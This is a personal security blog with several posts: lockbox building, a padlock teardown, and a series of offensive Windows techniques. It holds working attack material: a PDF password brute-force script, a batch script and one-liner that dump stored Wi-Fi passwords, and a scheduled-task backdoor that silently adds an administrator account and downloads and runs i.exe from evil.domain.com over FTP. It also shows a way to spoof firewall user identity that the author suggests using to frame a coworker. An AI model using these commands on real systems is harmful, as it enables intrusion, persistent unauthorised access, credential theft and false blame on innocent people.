Tuesday, June 20, 2017

A very brief guide to making a challenge lockbox

I had a couple requests to document the build process I use for making lockboxes. This year I made new challenge boxes for dcdarknet at defcon 25.
The Neapolitan Trio

Here's the previous version:

"Lockbox 1"

Here's the very first one I ever made:
"The Rook"

It's been a long process of create, test, (fail), revise. The original challenge I built, The Rook, was very visually pleasing, but the mounting equipment I cobbled together was not sufficient to handle several hundred people wrenching on it all day for the entirety of defcon 21 (?), several of the locks became loose and all you needed to do was grab the housing and twist to activate the scoring mechanism. There was no way to open it without destroying it to service the locks, or the other internals, all in all it was a good learning experience but completely illogical for long term use.

The second edition, Lockbox 1, had several good revisions. You could open it to service it, the locks were removable, it could be much more easily transported. Still had the issue of locks spinning after hundreds of people applying tension to the locks though. No matter how hard we tightened the nuts down on the locks they would eventually work loose. The scoring mechanism was very simple, the positive wire was secured to the lock on the cam screw, the negative wire was attached to a screw that the cam would contact when the lock was picked. That idea didn't hold up very well either, the wires came loose often and caused problems, not to mention just failing from repeated wear and tear of flexing multiple times. The display had exposed connections that would get shorted out of anything conductive was ran across them, such as the keys, of someones lockpicks. The battery was accessible, but you had to open the box for maintenance and it was a hassle.

The newest version is the culmination of all the lessons I've learned on how not to do things.

So that's a short(ish) history on the lockboxes, here's a brief rundown on some of the techniques and mounting hardware I use. I can't go into too much depth as these are the new versions that will be in use this year, and hopefully about the next 3 years.

First things first, plan out your entire layout and make sure everything will fit in the area you have available. Do I do that? No, Does it bite me in the ass every single build? Oh yeah, multiple times. The pictures below are from a testing board I used while building this years boxes, so ignore all the extra holes, half and half stain job, etc etc....

I usually use pin tumbler mortise cylinders and then some wafer locks and padlocks as these are the three most common locks people run into on a regular basis.


A 1 3/16th inch hole saw is perfect for cutting holes for cylinder locks. The 3/4 inch hole saw works well for most cabinet style wafer and tubular locks. When planning the locations, make one pilot hole directly in the center of where the lock is supposed to go, this ensures you're centered no matter which side of the board you're working on.

Next I drill a relief on the back side for all the cylinder locks. Why do I do that, well remember the issues with locks spinning loose? We made a solution for that.

Say hello to my little friend, the StopSpin (trademark, patent pending, etc). I worked with my friend and fellow dcdarknet contest agent Bunni to develop these lovely little helpers.




The tabs on the StopSpin interact with the grooves on the lock to stop them from spinning once it's screwed down onto the board.


This allows us to swap out locks by just removing the nut and popping the lock out. No need to apply the strength of the gods to tighten the nut down, the lock can't spin loose so all it needs to do is stop the lock from falling out of the mounting hole.

It's the most efficient mounting method I've found. I've seen, and tried myself, most of the mounting methods documented on lockpicking101 and various other sites. Nothing else I've tried is as easy to mount and swap out locks on a board.


The other locks I just use the included anti-spin holders that interact with the flat sides of the lock body.


Make sure to align your movement restriction washers properly so the locks turn the correct way. This also creates an added difficulty because the people trying to pick them don't know which way to tension the lock.


This gives you a nice flush mounting on the face of your board, stops the locks from spinning, and makes swapping out locks quick and easy,



I routered the bottom edge of the boards so that they sit low enough in the ammo boxes so that the lid doesn't come into contact with them when closed. The ammo boxes are just regular bunker hill boxes from harbor freight, you can pick them up for ~$4 if you get them on sale with a coupon, which they pretty much always are.
The rest of the build is all confidential info, but this should give you enough information to plan and make you own practice stands/holders/challenge boxes.

All the software and circuit boards are handled by Bunni, he's the real brains behind these as far as making them do what they do. I'm just a monkey with a wood shop.

So if you happen to be at Defcon this year come on down and join the dcdarknet contest (shameless plug) and give these lockboxes a spin, let me know what you like about them, how you think they could be better, what kind of different locks you'd like to see, etc, I keep a bucket nearby to catch the tears of those who are defeated by the locks.

Monday, July 11, 2016

Simple PDF Brute Force Tool using GhostScript 9.09

I've had to deal with a lot of PDF's that come in either Secured (cannot copy, cannot print) or Password Protected (requires password to open) lately.

Using GhostScript you can make a simple brute force tool to attack these password protected PDF's.

I'm well aware there are commercial options for doing this, but I don't like to pay money for something I can figure out myself. My method is not as fast or feature rich, but it can get the job done.

You'll need to install GhostScript, I used revision 9.09, if you're using a newer or older version adjust the script below accordingly for the executable paths.

You'll also need a dictionary file (%userprofile%\desktop\passwords.txt) <- adjust accordingly.

With the way this script is written, you can simply drag and drop the PDF file onto the batch file icon, or pass it as a variable ex: bruteforece.bat Path.to.PDF.pdf

@echo off
setlocal enabledelayedexpansion
Title Performing Magic, please wait...
for /f "tokens=* delims=" %%a in (%userprofile%\desktop\passwords.txt) do (
echo Trying password: %%a
"C:\Program Files (x86)\gs\gs9.09\bin\gswin32c.exe" -q -sPDFPassword=%%a %1
if !errorlevel! == 0 echo Password is %%a & pause > nul
cls
)
echo password not found
pause
exit

Thursday, December 17, 2015

Z-Con Lock Teardown

I got this lock a while ago for two reasons; it's an alarmed padlock, it has a funky key.
Since then it's been hanging out in a display case.

Here's the tear down.
This is the lock I got with a Z-Con Lock core. I believe that Z-Con makes the cores then sells them to manufacturers to use in their own locks. It's a reasonably well designed lock, no exploitable design flaws in the body of the lock that would allow me to unlock it that I could find, disabling the audio alarm is a different story. Dual ball bearing locking mechanism so shimming is out of the question, solid metal exterior, hardened shackle.

Here's the bottom of the lock:
With just a small philips screwdriver you can undo the bottom plate and access the internals. However actually getting that bottom plate off is rather tricky since it's a very very tight fit.

Internals exposed
On the top here you can see the edge of the circuit board, the wiring, and the battery compartment cover (white plastic).

Here's the circuitry:


Large black circle in the upper left is the speaker. Yellow is a piece of rubber meant to waterproof.


Above: A closeup of the circuit board "front"

Above: A closeup of the "back" of the circuit board. The white wrapped part is a trembler switch that activates the alarm if the lock is moved too much. Is is a metal tube hooked to ground with a delicate spring inside hooked to positive that will jiggle, come into contact with the tube and complete the circuit activating the alarm.

Not pictured: There is a magnetic reed switch on the positive cable that extends upwards into the lock. There is also a magnet on the extension from the back of the lock cylinder so that when the lock is turned to the alarm (little speaker picture) setting it closes the circuit and then allows the trembler to set off the alarm if activated.

So that's that for the alarm part of the lock. You can muffle it with silly putty stuffed into the speaker holes, or you can unscrew the bottom, remove the plate, then take your choice of methods to disable the circuitry.


Let's take a look at the Z-Con lock core.

Here it is still in the lock body. There is a bit of a funnel piece that you have to drill out the retaining plug, just to the right of the lock core. Then it is also held in place by a lock ring. I could not find a way to remove the funnel without permanently damaging the lock body. I kind of get the feeling they really don't want you to take it apart.





So here's the actual lock core. I've drawn 3 lines to show the way the key lines up inside the lock. Green the lock is open, the key is not removable in this position.
Yellow the lock is in the normal locked position, notice the extra cut out extensions, this allows the key to be inserted and extracted.
Red the lock is in the locked and alarmed position, again notice the extra cut out extensions allowing the key to be inserted and removed from this position.

Here is the back of the lock core. The red arrows point to lock ring that keep the inner core and the outer shell together.


The inner core is made of 2 parts (minus the springs and wards)





Here is the point of interaction between the top of the inner core and the key.






















 Here is the bottom of the inner core. you can see the springs and the 3 moving wards at the bottom.











Above left is the lock inner core with the key inserted. Note the 3 black extensions, these are the  moving wards.
Above right is the lock outer cover. The red arrows show the grooves that when the wards align properly allow the lock to turn. The green arrow shows the groove for the lock ring that hold the two parts of the lock together.

Here is the inner core fully disassembled
Top left core shell
Top middle inner core lower
Top right inner core upper

The 3 black plastic items in the lower right are the moving wards. Note the difference in the diameter of the hole in the middle of them. These correspond to the different diameters of the key, which then align them with the grooves in the core shell and allow the inner core to move thus turning the extension on the top of the lock core (not pictured) that allows the ball bearings to retract and the shackle to open.

Inner core with all springs, wards, and upper portion removed.



This is a Z-Con key (not mine). The blue arrow is pointing to the ward that keeps the key in the lock when in the open position and also turns the lower portion of the inner core of the lock.
The red arrows point to the resting locations for the black plastic moving wards. See that the diameter of the holes in the plastic rings corresponds with the diameter and steps of the key.




 So that's how they work.

Now for how to pick them...

I've got some ideas but nothing I've really tested yet. As far as a straight up bypass I don't see anything that would work.

The keys almost have to have a very low entropy as far as possible bitting setups. A unique lock would require not only a unique key to be lathed but also a unique core shell with matching inner grooves.
My assumption would be that only 1 of the wards (the lowest) actually is movable as far as the bitting is concerned, the other 2 are static for all keys. I think this because the lowest ward is the only one that doesn't sit on a lathed ledge it sits on a couple of ears that stick out. But I don't have access to any other Z-Con locks and keys so I can't really say for sure.

I'll be posting the exact measurements of the key in a few days so others can compare and we can find out just exactly how many unique keys there are for this type of lock and possibly make a pick for it.
















Monday, August 17, 2015

Dumping Wireless Passwords from Windows Machines (win7 & win8 tested; win10 not tested) using netsh

Here's how to dump all the wifi passwords from a windows machine using builtin tools:
Windows 7 - Tested Succesfully
Windows 8 - Tested Succesfully
Windows 10 - Not Tested

-=batch file=-
@echo off
for /f "tokens=4 delims=: " %%a in ('netsh wlan show profiles ^| find "Profile "') do (
netsh wlan show profiles name=%%a key=clear | findstr "SSID Cipher Content" | find /v "Number" echo.
)
pause > nul


How it works:
When doing a netsh wlan show profiles we get all the wireless profiles for the machine, but we also get a lot of other garbage that gets in the way. Piping it to find "Profile " cleans that up to only what we want. Notice the space after Profile in the find command. Then we can delimit on : and space character to get it down to just the wireless ssid's.

Now that we have just the ssid's, aka Profiles in netsh terms, we can query them to get various information from them, mostly we're just concerned with SSID, Cipher (encryption) and Key Content (the password). Using findstr we can search for multiple terms in one go, however the term Number of SSID's is also in the information so we use a find /v (do not match) to strip that out. Echo. inserts a blank line to keep things readable.

You'll likely want to put some redirects to save that to a text file, remote server share, something you can hold onto it with.

-=The one liner =-
I also wrote up a one liner to use in the event you can't run a batch file:

cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on

This one liner outputs nice clean output by first clearing the screen (cls), echoing a bank line (echo.), the running through the same script but keeping the echo feature off and then conveniently turning it back on at the end of the script.


Wednesday, March 11, 2015

Windows Event Log Driven Back Doors

Well it's about time to get that white hat a little dirty.

None of this is original ideas, I've heard of this being done in theory of "oh, you know what would make a good persistence idea?" but I've never actually seen anything implement it. So I decided to do that.
*EDIT In fact this is exactly where I saw it first. SANS Wipe the HardDrive written by Mark Baggett and inspired by Jake Williams.

Let us take this from the metaphysical to the physical.

I was red teaming a bit for an experiential learning class. I needed to create a backup method of maintaining access to a domain. I didn't want anything running constantly, I didn't want to leave files on the disk.

I have been utilizing Event ID driven scheduled tasks at work for some monitoring and logging of service creation, user creation/deletion, users being added to security groups, little things that are really helpful to have an eye on and will give you a huge leg up in the event of malware infections and penetration incidents and just in general to have a better idea of what's going on in your domain. This is especially effective if you setup an event log gatherer and use subscriptions pushed out to all computers on the domain. Anyways, I decided to write a scheduled task that will trigger in the event of an account being locked out. This is something I can trigger externally from an OWA page, PPTP portal, corporate web page, anything that has a windows based login method that checks against AD. 

So here's our command:

schtasks /create /tn "Microsoft\Windows\LocalEventLogRotate" /tr "\"cmd.exe\" /k net user Backdoor 1R3AlG00dP@55w0rd /add /y /active:yes >> nul & net localgroup administrators Backdoor /add > nul & net user Backdoor /comment:\"Built-in account for Backdooring your network suckers\" > nul & exit" /f /ru system /ec Security /sc onevent /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4740]]"

Lets step through the command:

schtasks /create - Create a new scheduled task

/tn "Microsoft\Windows\LocalEventLogRotate"The name of the task will be LocalEventLogRotate, but this is a bit interesting when I first found this out. In the modern Task Scheduler there are several subfolders that have tasks in them. Not very likely that someone is going to drill down into them to check for tasks. You can make the path whatever you want *needs citation and Task Scheduler will make the directory structure.  Nifty right? So this task will show up in Microsoft\Windows sub folder. No point in making it really easy to find right?

 /tr "\"cmd.exe\" /k net user Backdoor 1R3AlG00dP@55w0rd /add /y /active:yes > nul & net localgroup administrators Backdoor /add > nul & net user Backdoor /comment:\"Built-in account for Backdooring your network suckers\" > nul & exit" - This is the meat here, our command that will execute when the event occurs. So, double quotes are an issue that will need to be dealt with. We want cmd.exe to execute everything else as an argument so we need to enclose that in quotes, but we also have to have our arguments in quotes since there are spaces, but we can't just do this: "cmd.exe" "/k etc..." because then that's 2 different things and it will syntax error out as an invalid argument. So we need to escape wherever we have double quotes inside of the outer most double quotes with the \. Since we're going with the goal of not having extra files on the disk we need to make this command a one liner. In batch you can use the & sign to string commands together. & = run the following command no matter the success / failure of the previous command. && = run the following command ONLY if the previous command was successful. In this instance the command will create a user named Backdoor with password 1R3AlG00dP@55w0rd make sure the account is active (/active:yes). Also note that if your password is going to be 14 characters or over you need to add the /y command to the net user add otherwise it will hang forever in purgatory waiting for a response. Bad thing to have happen to your last resort backdoor. Then it adds that account to the local administrators group, then adds a comment to the user account to kind of disguise it a bit like the other built-in account windows creates. Take the extra time to make your stuff look like it belongs and it's more likely to get past the people hunting for it at first glance which may well provide you the extra 5 minutes you need to get the job done.

/f - Force the task to be created even if a task with the same name already exists.

/ru system - run as the SYSTEM user. This is important as if you don't have a valid account and password to use that's active you can't make the task run unless that user is logged in when it happens. Run as system = task executes every time the Event ID is triggered, not just when the user that created the task is logged in.

/sc onevent - When to execute the task, in this instance we want to have it execute when a particular event happens.

/ec Security - Which event log to follow to look for the Event ID in question. So if you need to follow a different Event ID and it occurs in the Application or System or whatever event log, you'll need to change that to match.

/mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4740]]"  - Modifier for the onevent trigger. This is were we define exactly what event we're looking for. It's kind of intuitive when you look at it. We're looking for EventID 4740 (user account locked out) logged by the Microsoft Windows Security Auditing provider. If you can't figure out how to modify that to be exactly what you want, open the event log, find the event you want to trigger on, right click, attach task to this event. skip though, choose execute a program, cmd.exe. Then go into Task Scheduler Library\Event Viewer Tasks, find your newly created task, right click it, export, save it, and open the XML file. Viola there's the exact string you need to copy there in the <Subscription> tag.


Cool, we have a task that will run and all we have to do is lockout any account on the target computer, or if we managed to install this on a DC any account on the domain.

....wait a minute, that's going to get executed more often than we may intend. That could be bad if  you want it to stay under wraps until the trap is ready to spring. So how do we nail it down to if a SPECIFIC account gets locked out??

Our built-in friend wevtutil.exe is the man for the job here. Windows Event Utility can read through the event logs and output specific EventID selections. For this instance what we need to do is the following:

wevtutil qe security /rd:true /f:text /c:1 /q:"*[System/EventID=4740]"

qe security - query the security event log
/rd:true - reverse direction, read from newest to oldest
/F:text - output it in text format
/c:1 - Find only the last 1 events (most recent since we have rd set to true)

That will output the last instance of an account getting locked out. It will look something similar to this, in this instance it's from a domain controller, it will look very similar just different names on a non domain controller:

Event[0]:
  Log Name: Security
  Source: Microsoft-Windows-Security-Auditing
  Date: 2015-03-11T10:12:52.499
  Event ID: 4740
  Task: User Account Management
  Level: Information
  Opcode: Info
  Keyword: Audit Success
  User: N/A
  User Name: N/A
  Computer: Domain.Controller.fake.internal
  Description:
A user account was locked out.

Subject:
        Security ID:            S-1-5-18
        Account Name:           Domain.Controller$
        Account Domain:         fake
        Logon ID:               0x3e7

Account That Was Locked Out:
        Security ID:            S-1-5-21-561012550-38641HK9414-249823312-7894

        Account Name:           Backupexec

Additional Information:
        Caller Computer Name:   Someserverorworkstation


Okay, that's a lot of info but we really only need the Account Name. So we pipe it to find:

wevtutil qe security /rd:true /f:text /c:1 /q:"*[System/EventID=4740]" | find /i "account name"

oh wait there's 2 account names in that file, happily since the one we're looking for is the last one we don't have to get into any tricky stuff as that one will decide the errorlevel.

Then we end up with just:

        Account Name:           Backupexec

Then we can do another pass to find the specific account we're looking for

 wevtutil qe security /rd:true /f:text /c:1 /q:"*[System/EventID=4740]" | find /i "account name" | find /i "triggeraccount"

Now would be a good moment to mention the 261 character limit, spaces included, for the /TR option of a scheduled task. Always with the restrictions..... no rest for the wicked.


So we have to get that cut down a bit if we want to keep everything in just the task run option and not write extra stuff to disk. Lets cut out the net user comment part and nix the nul's.

So we end up with this here:

schtasks /create /tn "Microsoft\Windows\LocalEventLogRotate" /tr "\"cmd.exe\" /k wevtutil qe security /rd:true /f:text /c:1 /q:\"*[System/EventID=4740]\" | find /i \"Account Name:\" | find /i \"triggername\" && net user Backdoor 1R3AlG00dP@55w0rd /add /y /active:yes & net localgroup administrators Backdoor /add & exit" /f /ru system /ec Security /sc onevent /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4740]]"

We use our && command (&& = only execute if the previous command was successful) to continue execution if the triggeraccount name is found. We're sitting at a cool 256 characters for the /TR. We're doing good, targeted triggering, creating a user, adding to an administration group. 

Having an account is cool, but if we don't have access to the server we're stuck looking through the window from the outside, no fun at all. We can do better.

Alright, same parameters as before, but we're going to bend the rule slightly about writing files to disk. We'll do a one liner FTP command to retrieve and execute a file. I used some formatting tricks to shoehorn everything in here.

schtasks /create /tn "Microsoft\Windows\LocalEventLogRotate" /tr "\"cmd.exe\" /k set &wevtutil qe security /rd:true /f:text /c:1 /q:\"*[System/EventID=4740]\" | find /i \"bob\" &&echo user username> f&echo password>>f&echo bin>>f&echo get i.exe>>f&echo quit>>f&ftp -n -s:f evil.domain.com&start \"\" i.exe&exit" /f /ru system /ec Security /sc onevent /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4740]]"

We start out the same as before, querying the event log for the most recent locked account and see if it's our good friend bob. Then we set out to writing out our FTP script. Using a couple space cheats and short file names we manage to squeeze everything in. Note that you don't need spaces before or after an & or before or after the append >>. that saves us a bunch of characters which ends up being kind of a big deal since we're limited to 261 characters. Using a single letter for the FTP script file name (f) saves us more space.

Pretty slick right? What else can we do...

Run a task whenever a particular user logs out, change an accounts password back every time the password gets changed, setup a backdoor account if you get locked out / deleted, whatever windows creates an event for, you can create a task for. Your only limits are how specific you want execution to be and 261 characters. Other than that, the world is yours.

Wednesday, July 17, 2013

Masquerading on Palo Alto User-ID Tracking

A lot of next gen firewalls have the ability to tag web browsing with a user associated to the computer it came from. I'm going to show you how to change who the firewall thinks you are for Palo Alto User-ID, and likely other devices.

Palo Alto uses a secondary software package called User-ID Agent. This software monitors the event log on domain controllers and pulls the username associated with a computer from the event log. So when you logon an event is registered with the domain controller, User-ID Agent pulls the info and updates it's data with who is logged in.

If you do a runas /user:domain\user (must have the actual credentials) and start any application, that will register on the domain controller as a new logon to that computer and will adjust the user appropriately. It does not change back or register as "no user" if there is a logoff, only logons change it. So from that point on all traffic is associated with a different user, still your IP address but it says "User x was logged into the computer at this time".

Palo Alto can do traffic filtering by user id, so if you knew the login for an account that is unrestricted, as far as the firewall rules are concerned, you could login as yourself, do a runas and start a cmd prompt (or whatever) then close it and all your traffic will be reported as belonging to the other user possibly bypassing  rules setup to block other users traffic.

Or you could hang some co-worker as you went to some horrific granny-tranny spanish-mistress bondage porn site and it got registered in the firewall logs and now HR and IT will be grilling some poor soul about their internet browsing habits.

Things such as opening outlook will revert back to being reported as your user is logged into the computer as it authenticates to AD. Anything that authenticates to AD will create a logon event and will change the user reported as logged on to the computer.

Connect to an SSL page through a Socat Proxy

So lets say you have a device, at a remote location, that has a SSL web page. You can only access it from the local subnet and you don't want to disrupt any users to kick them off their machine.... or you plan to bounce off a client there, maybe without their knowledge.

We will make the following conditions for this example:
You're in the 192.168.20.0/24 subnet.
You can access subnet 192.168.3.0/24
192.168.3.11 - device with an ssl page that is accessible ONLY from the 192.168.3.x/24 subnet 192.168.3.20 - device you have access to on that subnet
192.168.20.10 - your machine

We can use Socat to make the connection because it has the option for an openssl connection type.

Copy over Socat, and it's dependencies:
cygcrypto-0.9.8.dll
cygminires.dll
cygncurses-8.dll
cygreadline6.dll
cygssl-0.9.8.dll
cygwin1.dll
cygwrap-0.dll
to the 192.168.3.20 machine and issue the following command:

socat TCP-LISTEN:8100,fork OPENSSL:192.168.3.x:443,verify=0

This tells socat to start listening on 192.168.3.20 port 8100 (or whatever port is available), and fork incoming connections so it can handle multiple connections at a time.

*Fork is not really necessary for this example, probably better to leave it out, but if you need multiple connections to the device you need the fork option.

Then send that traffic over an openssl connection to 192.168.3.11 port 443 and NOT to verify the ssl cert for the page you're trying to connect to (verify=0).

*You can change it to verify the ssl cert (verify=1) but if the certificate is not correct, ie self signed, or intended to be used on a public site and you're accessing it internally, etc. the connection will not succeed.

Then on 192.168.20.10 open your browser and put in 192.168.3.20:8100. Viola you have access to your SSL site that requires a connection from the local subnet.

Now, before we go any further the connection between 192.168.20.10 and 192.168.3.20 is NOT encrypted, that means anyone sniffing the traffic will see everything that's sent between 192.168.20.10 and 192.168.3.20. That's bad. Especially since you're probably going to have to type in credentials to access the page, and if the sniffer misses that, then there's still the cookie that can be stolen as well.

Traffic between 192.168.3.20 and 192.168.3.11 IS encrypted, BUT since we have verify=0 it will accept a forged certificate. That's also bad. But if the device has an invalid cert to begin with there's nothing we can do about it.

You can secure your connection between 192.168.3.20 and 192.168.20.10 by generating ssl certificates Instructions can be found here but that requires access to a system with openssl or some other cert signing software and since you're likely to be dealing with windows machines that's unlikely to be handy, but it can be done. You would need to change TCP-LISTEN to OPENSSL-LISTEN also.